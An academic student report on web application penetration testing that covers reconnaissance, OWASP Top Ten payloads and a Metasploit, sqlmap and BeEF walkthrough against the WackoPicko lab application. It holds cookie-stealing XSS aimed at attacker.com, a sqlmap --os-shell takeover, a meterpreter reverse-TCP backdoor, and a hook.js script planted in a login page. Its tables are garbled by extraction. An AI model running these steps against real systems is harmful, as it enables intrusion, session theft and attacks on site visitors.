Documente Academic
Documente Profesional
Documente Cultură
SUPERVISED BY
Jesmin Akhter
Associate Professor
Institute of Information Technology
GROUP MEMBERS BY
Md Yusuf Miah
ID: 16112
Jahangirnagar University
February 2017
1
Analysis of Web Application Penetration Testing
OVERVIEW
The primary objective for a analysis of web application penetration test is to identify
exploitable vulnerabilities in applications before hackers are able to discover and exploit
them. Web application penetration testing will reveal real-world opportunities for
hackers to be able to compromise applications in such a way that allows for unauthorized
access to sensitive data or even take-over systems for malicious/non-business purposes.
This type of assessment is an attack simulation carried out by our highly trained security
consultants in an effort to:
GDIT Security’s application penetration testers have experience developing software not
just trying to break it. They leverage this experience to zero in on critical issues and
provide actionable remediation guidance.
As a result of our penetration tests, you’ll be able to view your applications through the
eyes of both a hacker and an experienced developer to discover where you can improve
your security posture. Our consultants produce findings in written reports and provide
your team with the guidance necessary to effectively remediate any issues we uncover.
OVERVIEW
2
APPROACH
PGDIT Security’s web application penetration testing service utilizes a comprehensive,
risk-based approach to manually identify critical application-centric vulnerabilities that
exist on all in-scope applications.
3
4
5
Chapter One
Information Gathering
INFORMATION GATHERING
1. Information Gathering
In the same manner Web Pentesting is also much like this. When you are going to hunt a
website down then you must know what really you are going to deal with, if you know
your enemy which you are going to face then you can prepare yourself for that.
So this is why Information Gathering is the first phase of Penetration testing. But now
arise the question what information are we going to collect and where are we going to
get that information from. "Where and how".
1.1 There are two types of information gathering:
Passive Information Gathering
Active Information Gathering
6
1.2. OPERATING SYSTEM
Well most of you know what an operating system is but still if any one is confused that
why do we need to know the OS, then let me clarify that when we know the operating
system then we can find out the rights attacks, Open Ports, Exploits, Common Services
etc which will help us later in pentesting.
7
1.3. LOGIN PAGES
While pentesting when you find a login page or admin login page which requires some
username and password to login then that is nothing to get sub about, actually getting a
login page is just like finding a Locked door of a Secure house. But the to break inside you
can use a master key or you can even break the lock. In the same manner Login pages can
also be tested for many known Attacks
8
1.4. WHO IS INFORMATION:
This is the most basic information about a domain, It shows the registration Details of the
website in which you can commonly see who registered the domain and which date did
he registered it on, when will it expire etc. This information may help you sometimes in
Social engineering like sending him email on his registered email. Or you use his address,
name or contact number in various tasks of Social Engineering.
9
1.5. IP ADDRESS
Well this ones for newbie’s, actually IP address is the real address behind any domain
name which are resolved by the nameservers. Every Box or you can say a system contains
a unique IP address for example (213.155.66.22). Using it computers communicate to
each other. IP Address will help us targeting the network as well as find open ports and
other exploitable services on the system while pentesting.
10
1.6. NAME SERVERS
These are the DNS resolvers, for example when you type in google.com in your browser
the DNS resolvers find the real IP behind and take your request to the server, and bring
back the response. We can later target the nameservers to for DNS based attacks testing
of our pentesting.
11
1.7. WEB SERVER
Webservers the one we are dealing over here is an application which is running over an
Operating system and serves to the web requests coming to the system. Like Apache,
Tomcat, IIS etc are webservers running on an operating system when any web request is
sent to a system they handle it and they are responsible for giving out the response.
Many times you can get Exploits related to a webserver and get a way into the sytem
using that exploit, and if you know which webserver is bieng used then it will help you to
find out the default directories or known vulnerabilities for that web server.
12
1.8. SUB DOMAIN
If you do not know what subdomains are then, Subdomain are domains maintained
under a domain for example google.com is a domain name then mail.google.com is a
subdomain inside it. We need to collect all available sub domains for a website. In many
cases you may find hidden or private domain where they are maintaining something
private and such application are usually left vulnerable and exposed because of the
assumption the no one can reach them.
13
1.9. WEB APPLICATION
Many times what you are targetting is a public Web Application like Joomla, Wordress or
any other. We also need to get all the information about the web Application so we can
find any known Vulnerability for that particular Version or else we can find any
Vulnerability in the source code available online.
14
1.10. WEB APPLICATION FIREWALL
We can also test if they are using any firewall for that we can know what we are going to
face and is there any ways to bypass that firewall. These are some of the common things
we are going to try and find about our target.
15
Chapter Two
Vulnerability Analysis Of Web Application
VULNERABILITY ANALYSIS
Vulnerability analysis, also known as vulnerability assessment, is a process that defines,
identifies, and classifies the security holes (vulnerabilities) in a computer, network, or
communications infrastructure. In addition, vulnerability analysis can forecast the
effectiveness of proposed countermeasures and evaluate their actual effectiveness after
they are put into use.
16
OPEN WEB APPLICATION SECURITY PROJEC (OWASP) TOP TEN VULNERABLE LIST
2.1: Injection.
2.2: Broken Authentication and Session Management.
2.3: Cross-Site Scripting (XSS)
2.4: Insecure Direct Object References.
2.5: Security Misconfiguration.
2.6: Sensitive Data Exposure
17
2.1 INJECTION
Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to
an interpreter as part of a command or query. The attacker’s hostile data can trick the
interpreter into executing unintended commands or accessing data without proper
authorization.
A1- Injection
Threat Attack Security Weakness Technical Business
Agents Vectors Impacts Impacts
Application Exploitability Prevalence Detectability Impact Application
Specific DIFFICULT UNCOMMON AVERAGE SEVERE / Business
Specific
Consider Attacker Injection flaws occur when an Injection can Consider the
anyone who sends simple application sends untrusted result in data business
can send text-based data to an interpreter. loss or value of the
untrusted data attacks that Injection flaws are very corruption, affected
to the system, exploit the prevalent, particularly in lack of data and the
including syntax of the legacy code. They are often accountability, platform
external users, targeted found in SQL, LDAP, Xpath, or or denial of running the
internal users, interpreter. NoSQL queries; OS access. interpreter.
and Almost any commands; XML parsers, Injection can All data
administrators. source of data SMTP Headers, program sometimes could be
18
Example Attack Scenarios
Scenario #1: The application uses untrusted data in the construction of the following
vulnerable SQL call:
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") + "'";
Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries
that are still vulnerable, (e.g., Hibernate Query Language (HQL)):
Query HQLQuery = session.createQuery(“FROM accounts
WHERE custID='“ + request.getParameter("id") + "'");
In both cases, the attacker modifies the ‘id’ parameter value in her browser to send:
' or '1'='1. For example:
http://example.com/app/accountView?id=' or '1'='1
This changes the meaning of both queries to return all the records from the accounts
table. More dangerous attacks could modify data or even invoke stored procedures.
19
2. 2. BROKEN AUTHENTICATION AND SESSION MANAGEMENT:
Application functions related to authentication and session management are often not
implemented correctly, allowing attackers to compromise passwords, keys, or session
tokens, or to exploit other implementation flaws to assume other users’ identities.
your directly. They employed, weak key all data that lost data and
sensitive break generation and management, should have impact to
data and any something and weak algorithm usage is been your
backups of else, such as common, particularly weak protected. reputation.
that data. steal keys, do password hashing techniques. Typically, this What is your
This includes man-in-the- Browser weaknesses are very information legal liability
the data at middle common and easy to detect, includes if this data is
rest, in attacks, or but hard to exploit on a large sensitive data exposed?
transit, and steal clear text scale. External attackers have such as Also consider
even in your data off the difficulty detecting server side health the damage
customers’ server, while flaws due to limited access and records, to your
browsers. in transit, or they are also usually hard to credentials, reputation.
Include both from the exploit. personal
external and user’s data, credit
internal browser. cards, etc.
threats.
20
Session fixation:
Session Fixation is an attack that permits an attacker to hijack a valid user session. The
attack explores a limitation in the way the web application manages the session ID, more
specifically the vulnerable web application. When authenticating a user, it doesn’t assign
a new session ID, making it possible to use an existent session ID. The attack consists of
obtaining a valid session ID (e.g. by connecting to the application), inducing a user to
authenticate himself with that session ID, and then hijacking the user-validated session
by the knowledge of the used session ID. The attacker has to provide a legitimate Web
application session ID and try to make the victim's browser use it.
The session fixation attack is a class of Session Hijacking, which steals the established
session between the client and the Web Server after the user logs in. Instead, the Session
Fixation attack fixes an established session on the victim's browser, so the attack starts
before the user logs in.
There are several techniques to execute the attack; it depends on how the Web
application deals with session tokens. Below are some of the most common techniques:
• Session token in the URL argument: The Session ID is sent to the victim in a hyperlink
and the victim accesses the site through the malicious URL.
21
• Session token in a hidden form field: In this method, the victim must be tricked to
authenticate in the target Web Server, using a login form developed for the attacker. The
form could be hosted in the evil web server or directly in html formatted e-mail.
• Session ID in a cookie:
* Client-side script
Most browsers support the execution of client-side scripting. In this case, the aggressor
could use attacks of code injection as the XSS (Cross-site scripting) attack to insert a
malicious code in the hyperlink sent to the victim and fix a Session ID in its cookie. Using
the function document.cookie, the browser which executes the command becomes
capable of fixing values inside of the cookie that it will use to keep a session between the
client and the Web Application.
* <META> tag
<META> tag also is considered a code injection attack, however, different from the XSS
attack where undesirable scripts can be disabled, or the execution can be denied. The
attack using this method becomes much more efficient because it's impossible to disable
the processing of these tags in the browsers.
* HTTP header response
This method explores the server response to fix the Session ID in the victim's browser.
Including the parameter Set-Cookie in the HTTP header response, the attacker is able to
insert the value of Session ID in the cookie and sends it to the victim's browser.
Example 1
Client-side scripting
The processes for the attack using the execution of scripts in the victim's browser are
very similar to example 1, however, in this case, the Session ID does not appear as an
argument of the URL, but inside of the cookie. To fix the value of the Session ID in the
victim's cookie, the attacker could insert a JavaScript code in the URL that will be
executed in the victim's browser.
http://website.kom/<script>document.cookie=”sessionid=abcd”;</script>
Example 3
<META> tag
22
As well as client-side scripting, the code injection must be made in the URL that will be
sent to the victim.
http://website.kon/<meta http-equiv=Set-Cookie content=”sessionid=abcd”>
Example 4
HTTP header response
The insertion of the value of the SessionID into the cookie manipulating the server
response can be made, intercepting the packages exchanged between the client and the
Web Application inserting the Set-Cookie parameter.
23
2.3. CROSS-SITE SCRIPTING (XSS)
XSS flaws occur whenever an application takes untrusted data and sends it to a web browser
without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s
browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
implementation flaws to assume other users’ identities.
to identify. etc.
24
Example Attack Scenarios
The application uses untrusted data in the construction of the following HTML snippet
without validation or escaping:
(String) page += "<input name='creditcard' type='TEXT'
value='" + request.getParameter("CC") + "'>";
The attacker modifies the 'CC' parameter in their browser to:
'><script>document.location= 'http://www.attacker.com/cgi-
bin/cookie.cgi ?foo='+document.cookie</script>'.
This causes the victim’s session ID to be sent to the attacker’s website, allowing the
attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the
application might employ. See A8 for info on CSRF.
25
2.4. INSECURE DIRECT OBJECT REFERENCES
A direct object reference occurs when a developer exposes a reference to an internal
implementation object, such as a file, directory, or database key. Without an access
control check or other protection, attackers can manipulate these references to access
unauthorized data.
26
Example Attack Scenarios:
The application uses unverified data in a SQL call that is accessing account information:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query
, … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
The attacker simply modifies the ‘acct’ parameter in their browser to send whatever
account number they want. If not verified, the attacker can access any user’s account,
instead of only the intended customer’s account.
http://example.com/app/accountInfo?acct=notmyacct
27
2.5. SECURITY MISCONFIGURATION:
Good security requires having a secure configuration defined and deployed for the application,
frameworks, application server, web server, database server, and platform. Secure settings
should be defined, implemented, and maintained, as defaults are often insecure. Additionally,
software should be kept up to date.
28
Example Attack Scenarios:
Scenario #1: The app server admin console is automatically installed and not removed.
Default accounts aren’t changed. Attacker discovers the standard admin pages are on
your server, logs in with default passwords, and takes over.
Scenario #2: Directory listing is not disabled on your server. Attacker discovers she can
simply list directories to find any file. Attacker finds and downloads all your compiled
Java classes, which she decompiles and reverse engineers to get all your custom code.
She then finds a serious access control flaw in your application.
Scenario #3: App server configuration allows stack traces to be returned to users,
potentially exposing underlying flaws. Attackers love the extra information error
messages provide.
Scenario #4: App server comes with sample applications that are not removed from your
production server. Said sample applications have well known security flaws attackers can
use to compromise your server.
29
2.6. SENSITIVE DATA EXPOSURE:
Many web applications do not properly protect sensitive data, such as credit cards, tax
IDs, and authentication credentials. Attackers may steal or modify such weakly protected
data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves
extra protection such as encryption at rest or in transit, as well as special precautions
when exchanged with the browser.
who can gain typically don’t simply not encrypting sensitive frequently business
access to break crypto data. When crypto is compromises value of the
your directly. They employed, weak key all data that lost data and
sensitive break generation and management, should have impact to
data and any something and weak algorithm usage is been your
backups of else, such as common, particularly weak protected. reputation.
that data. steal keys, do password hashing techniques. Typically, this What is your
This includes man-in-the- Browser weaknesses are very information legal liability
the data at middle common and easy to detect, includes if this data is
30
Include both from the exploit. personal
external and user’s data, credit
internal browser. cards, etc.
threats.
Scenario #2: A site simply doesn’t use SSL for all authenticated pages. Attacker simply
monitors network traffic (like an open wireless network), and steals the user’s session
cookie. Attacker then replays this cookie and hijacks the user’s session, accessing the
user’s private data.
Scenario #3: The password database uses unsalted hashes to store everyone’s
passwords. A file upload flaw allows an attacker to retrieve the password file. All of the
unsalted hashes can be exposed with a rainbow table of precalculated hashes.
31
2.7. MISSING FUNCTION LEVEL ACCESS CONTROL
Most web applications verify function level access rights before making that functionality
visible in the UI. However, applications need to perform the same access control checks
on the server when each function is accessed. If requests are not verified, attackers will
be able to forge requests in order to access functionality without proper authorization.
32
Example Attack Scenarios:
Scenario #1: The attacker simply force browses to target URLs. The following URLs
require authentication. Admin rights are also required for access to the dmin_getappInfo
page.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
If an unauthenticated user can access either page, that’s a flaw. If an authenticated, non-
admin, user is allowed to access the admin_getappInfo page, this is also a flaw, and may
lead the attacker to more improperly protected admin pages.
Scenario #2: A page provides an 'action' parameter to specify the function being invoked,
and different actions require different roles. If these roles aren’t enforced, that’s a flaw.
33
2.8. CROSS-SITE REQUEST FORGERY (CSRF):
A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request,
including the victim’s session cookie and any other automatically included authentication
information, to a vulnerable web application. This allows the attacker to force the
victim’s browser to generate requests the vulnerable application thinks are legitimate
requests from the victim.
34
Example Attack Scenarios:
The application allows a user to submit a state changing request that does not include
anything secret. For example:
http://example.com/app/transferFunds?amount=1500&destination
Account=4673243243
So, the attacker constructs a request that will transfer money from the victim’s account to
the attacker’s account, and then embeds this attack in an image request or iframe stored on
various sites under the attacker’s control:
<img
src="http://example.com/app/transferFunds?amount=1500&destin
ationAccount=attackersAcct#" width="0" height="0" />
If the victim visits any of the attacker’s sites while already authenticated to example.com,
these forged requests will automatically include the user’s session info, authorizing the
attacker’s request.
35
2.9. USING COMPONENTS WITH KNOWN VULNERABILITIES
Components, such as libraries, frameworks, and other software modules, almost always
run with full privileges. If a vulnerable component is exploited, such an attack can
facilitate serious data loss or server takeover. Applications using components with known
vulnerabilities may undermine application defenses and enable a range of possible
attacks and impacts.
36
beyond component is takeover and
targeted deep in the data
attackers to application. compromise.
include
chaotic
actors.
37
2.10. UNVALIDATED REDIRECTS AND FORWARDS
Web applications frequently redirect and forward users to other pages and websites, and
use untrusted data to determine the destination pages. Without proper validation,
attackers can redirect victims to phishing or malware sites, or use forwards to access
unauthorized pages.
38
Example Attack Scenarios:
Scenario #1: The application has a page called “redirect.jsp” which takes a single
parameter named “url”. The attacker crafts a malicious URL that redirects users to a
malicious site that performs phishing and installs malware.
http://www.example.com/redirect.jsp?url=evil.com
Scenario #2: The application uses forwards to route requests between different parts of
the site. To facilitate this, some pages use a parameter to indicate where the user should
be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass
the application’s access control check and then forwards the attacker to administrative
functionality for which the attacker isn’t authorized.
http://www.example.com/boring.jsp?fwd=admin.jsp
39
Chapter Three
Exploitation
Exploitation
Exploitation is the meridian for every security engineer. It is a great feeling to exploit a
first machine and get full control over that machine. Exploitation is a very difficult task to
accomplish. We need to know much about the target. In this chapter i will show you
advanced techniques to get shell on the target system and you will gain full control over
the victim system.
Scenario
In this article, we will try to attack client who use this vulnerability server. And this is the
detail of character in this scenario.
1. Attacker Machine - Backtrack 5 R3 192.168.1.137
2. Target – WackoPicko web application(one of website in OWASP Broken Web
Application v1.0) 192.168.1.138
40
3.1. SCANNING PHASE
First thing when you want to hack server, you must get the information of target as much
as you can. So the first thing we must do is scan server.
Metastploit has “db_nmap” a module that use to run nmap (the most famous scanning
tool) and when it gets the result from nmap, it is putting the results into the database
which was created to keep the results. Follow these steps:
1. Open Metasploit console
root@bt:/ msfconsole
2. In the Metasploit console use db_nmap command with IP Address of target machine.
msf > db_nmap
[*] Usage: db_nmap [nmap options]
41
msf> hosts
4. You can use “services” command to receive a detail of services. And it has “created_at,
info, name, port, proto, state, updated_at” column for display.
msf > services –h
42
msf> services -c port,name,state
From above, the result shows that the target server has web service. Metasploit has
module for crawling a website too.
1. Pick up the auxiliary/scanner/http/crawler module.
msf> use auxiliary/scanner/http/crawler
43
2. Specific the target with RHOST
msf auxiliary(crawler) > set RHOST 192.168.77.138
In this article, we focus to WackoPicko web application and we will specific it with URI
msf auxiliary(crawler) > set URI /WackoPicko/
From this phase, you can get the information from server and web application. The
next phase, we will use the information for attack it.
44
3.2. EXPLOIT PHASE
In this phase, we will try to attack it with vulnerability scanning module of Metasploit and
try to use it with another attack tool.
WMAP Plugin:
"WMAP is a general purpose web application scanning framework for Metasploit 3. The
architecture is simple and its simplicity is what makes it powerful. It's a different
approach compared to other open source alternatives and commercial scanners, as
WMAP is not build around any browser or spider for data capture and manipulation.", we
will use this module to vulnerability scanning website.
The step are
1. load wmap modules
msf auxiliary(crawler) > load wmap
2. In the scanning phase, we has already crawling the web and it keeps all information
into database. WMAP Plugin can read it to learn the structure of web application. And
you can display detail of web application with wmap_sites command.
msf auxiliary(crawler) > wmap_sites
45
msf auxiliary(crawler) > wmap_sites –l
3. If you want to see the structure of web application, you can use wmap_sites
command.
wmap_sites -s [target_id]
msf auxiliary(crawler) > wmap_sites -s 0
46
4. Now we are ready for scanning, so we will specific the target of web application with
wmap_targets command.
msf auxiliary(crawler) > wmap_targets
47
6. After finished scan, you can check the result of scan with wmap_vulns
msf auxiliary(crawler) > wmap_vulns –l
From the result, we know some vulnerability of this web application such as
“sensitive file or directory”, “admin directory”, “back up directory”, “SQL Injection
vulnerability page”, etc. Now you can try to attack it from this result.
48
3.3. SQL INJECTION WITH METASPLOIT
If you want to test the parameter that has SQL Injection vulnerability or not, you can try
to test it with Metasploit too. I will use auxiliary/scanner/http/blind_sql_query module
for this test.
49
3. Start to test.
msf auxiliary(blind_sql_query) > run
The result is “username” parameter has SQL Injection vulnerability. You can test another
SQL Injection technique [ Error Based Technique] with
auxiliary/scanner/http/error_sql_injection module.
50
1. we will use 3 options of sqlmap for this attack.
-u URL target url
-data=DATA Data string to be sent through POST
-random-agent Use randomly selected HTTP User-Agent header
--os-shell Prompt for an interactive operating system shell
2.Now, run the sqlmap with detail that we have. After this command, if the user that
used for this application has enough privilege, you can get the shell. (This below is the
output from SQLMap process for upload shell.)
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u
"http://192.168.77.138/WackoPicko/users/login.php" --data
"username=hacker&password=password&submit=login" --os-shell
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
illegal. It is the end user's responsibility to obey all applicable local, state and federal
51
laws. Developers assume no liability and are not responsible for any misuse or damage
caused by this program.
Place: POST
Parameter: username
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=hacker' AND 2163=2163 AND
'YJxM'='YJxM&password=password&submit=login
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: username=hacker' AND (SELECT 3246 FROM(SELECT
COUNT(*),CONCAT(0x3a6377663a,(SELECT (CASE WHEN (3246=3246) THEN 1
ELSE 0 END)),0x3a6268653a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
'oBNd'='oBNd&password=password&submit=login
---
[10:21:07] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5
52
[10:21:07] [INFO] going to use a web backdoor for command prompt
[10:21:07] [INFO] fingerprinting the back-end DBMS operating system
[10:21:07] [INFO] the back-end DBMS operating system is Linux
[10:21:07] [INFO] trying to upload the file stager
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] PHP (default)
[4] JSP
>3
[10:21:09] [WARNING] unable to retrieve the web server document root please provide
the web server document root [/var/www/]:
[10:21:10] [WARNING] unable to retrieve any web server path please provide any
additional web server full path to try to upload the agent [Enter for None]:
Now we're in the target machine, we will create backdoor for make it easier to
connect back and easier to compromise this machine.
53
3. We will create backdoor with Metasploit(msfvenom command).
root@bt:~# msfvenom
no options
Usage: /opt/metasploit/msf3/msfvenom [options] <var=val>
Options:
-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom
payloads
-l, --list [module_type] List a module type example: payloads, encoders,
nops, all
-n, --nopsled [length] Prepend a nopsled of [length] size on to the payload
-f, --format [format] Output format (use --help-formats for a list)
-e, --encoder [encoder] The encoder to use
-a, --arch [architecture] The architecture to use
--platform [platform] The platform of the payload
-s, --space [length] The maximum size of the resulting payload
-b, --bad-chars [list] The list of characters to avoid example: '\x00\xff'
-i, --iterations [count] The number of times to encode the payload
-c, --add-code [path] Specify an additional win32 shellcode file to include
-x, --template [path] Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as
a new thread
-o, --options List the payload's standard options
-h, --help Show this message
--help-formats List available formats
54
4. In the shell of target machine, download the backdoor and change it to bd.php.
55
5. Create the handler for waiting connection back from bd.php.
root@bt:~# msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp
LHOST=192.168.77.137 LPORT=443 E
[*] Please wait while we load the module tree...
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|`.""'.
II 6. .P : .' / | `. :
II 'T;. .;P' '.' / | `.'
II 'T; ;P' `. / | .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 932 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
=[ svn r15753 updated 11 days ago (2012.08.16)
Warning: This copy of the Metasploit Framework was last updated 11 days ago. We
recommend that you update the framework at least every other day. For information on
updating your copy of Metasploit, please see: https://community.rapid7.com/docs/DOC-
1306
56
PAYLOAD => php/meterpreter/reverse_tcp
LHOST => 192.168.77.137
LPORT => 443
[*] Started reverse handler on 192.168.77.137:443
[*] Starting the payload handler...
6. Run the backdoor with your web browser. And now you will get the meterpreter in you
metsaploit console
Warning: This copy of the Metasploit Framework was last updated 11 days ago. We
recommend that you update the framework at least every other day. For information on
updating your copy of Metasploit, please see: https://community.rapid7.com/docs/DOC-
1306
57
PAYLOAD => php/meterpreter/reverse_tcp
LHOST => 192.168.77.137
LPORT => 443
[*] Started reverse handler on 192.168.77.137:443
[*] Starting the payload handler...
[*] Sending stage (39217 bytes) to 192.168.77.138
[*] Meterpreter session 1 opened (192.168.77.137:443 -> 192.168.77.138:42757) at
2012-08-27 11:05:31 +0700
meterpreter >
Now you are in the owning machine and can do everything you want with Metasploit. In
the next, we will use BeEF to compromise the victim who visit website of this machine.
58
3.4. METASPLOIT WITH BEEF PLUGIN
And the last of this article, we will use Metasploit with BeEF(Browser Exploit Framework).
So what is BeEF. “BeEF hooks one or more web browsers as beachheads for the launching
of directed command modules. Each browser is likely to be within a different security
context, and each context may provide a set of unique attack vectors.”
59
6. Connect to BeEF
msf > beef_connect
msf > beef_connect http://127.0.0.1:3000 beef beef
7. In this step, we want to run the BeEF script on any client who visit the login
page. Back to the shell meterpreter that you got in the last phase of sqlmap attack.
Download login.php page. Add the script
<script src='http://192.168.77.137:3000/hook.js></script>
into the file and upload it to host.
Now when victim visit the login page, he will run the script of BeEF.
60
9. If someone visit login.php page, he will attacked by BeEF and in the left panel of BeEF
will show the list of victim.
61
If you want to see the detail of victim, just click it. The detail of victim will appear in the
right panel.
So you can check the list of victim from Metasploit console too, with beef_online
command.
62
And if you want to check the detail of victim in Metasploit console, use beef_target
command
msf > beef_target
10. Now you can run the command of BeEF with beef_target command
msf > beef_target -c 0 47
After run the beef_target command, in the BeEF's console, BeEF will use “Man-In-
The_Browser” command to victim.
63
Chapter Four
Reporting of Web Application
A summary of the findings for the OWASP SASAP Open 192.168.77.138 Assessment
Key
Cross-Site Scripting
SQL Injection
64
4.2. OWASP TOP TEN 2013
The OWASP Top Ten (2013) provided students with a solid overview of the security critical areas
that would be assessed during the review. In an attempt to narrow the scope of the security
assessment, the participants of the project divided into seven groups, each group selecting their
own security critical area. For the remainder of the assessment, each group was considered a
subject manner expert in their security critical area. After reviewing the OWASP Top Ten, the
groups selected the following security critical areas for review:
1. BROKEN AUTHENTICATION
2. SQL INJECTION
3. CROSS-SITE SCRIPTING
65
commands like
“drop table”,
etc
Cross site Moder An attacker This attack is 192.168.7 All data on all the
scripting It ate may use this dependent 7.138 pages should have
allows an flaw to trick on the victim input as well as
attacker to run your web users to execute a output filtering. If
arbitrary script to give crafted link. possible, meta-
in the victim’s him/her their characters
browser. credentials like <>,.?^&/\~`’”-
(cookie) which ()
can be used from a user’s
for session input should be
hijacking. completely
removed. Input:
‘<’ character
Modified during
output: ‘<’
66
4.3. ADVANTAGES OF PENETRATION TESTING SERVICES
Protect Your Company Image & Maintain Customer Loyalty. As a business owner, one of
your most valuable assets is your good name. All it takes is one incident of compromised
customer data and information can be extremely costly – in more ways than one.
Performing a penetration test allows you to avoid data incidents that could compromise
your company’s reputation.
Justify Your Security Spend. Penetration testing can evaluate future investments while
analyzing the effectiveness of your existing security products.
67
4.4. LIMITATIONS OF PENETRATION TESTING
Penetration testing are useful practices that can help make an organization’s security
tighten. But penetration testing do have limitations which can be a project-based
limitation or the penetration testers skills themselves.
68
CONCLUSION
Security is continuum, not an absolute. The value of penetration testing lies in its results
the ones that answer the big question "WHY?" A successful penetration test indicates
more than a particular flaw, it identifies the process failures that produced the
vulnerability, at the first place. Fixing or patching the vulnerability detected does not
mean an end to your security worries or nightmares, it is just the beginning of a never-
ending cycle.
A penetration test does not guarantee absolute security – it's just a measurement of your
security posture. So, "never have a false sense of security."
69
REFERENCE
https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
https://www.cvedetails.com/vulnerabilities-by-types.php
http://www.nevisnetworks.com/solutions/vulnerability-assessment-and-penetration-testing/
https://www.owasp.org/index.php/Top_10_2013-Top_10
https://pentest-tools.com/website-vulnerability-scanning/web-server-scanner-nikto
http://securityidiots.com/Web-Pentest/SQL-Injection/Part-3-Basic-of-SQL-for-SQLi.html
https://dnsdumpster.com
https://www.acunetix.com/websitesecurity/cross-site-scripting/
https://www.offensive-security.com/metasploit-unleashed/wmap-web-scanner/
https://www.ibm.com/developerworks/library/se-owasptop10/
70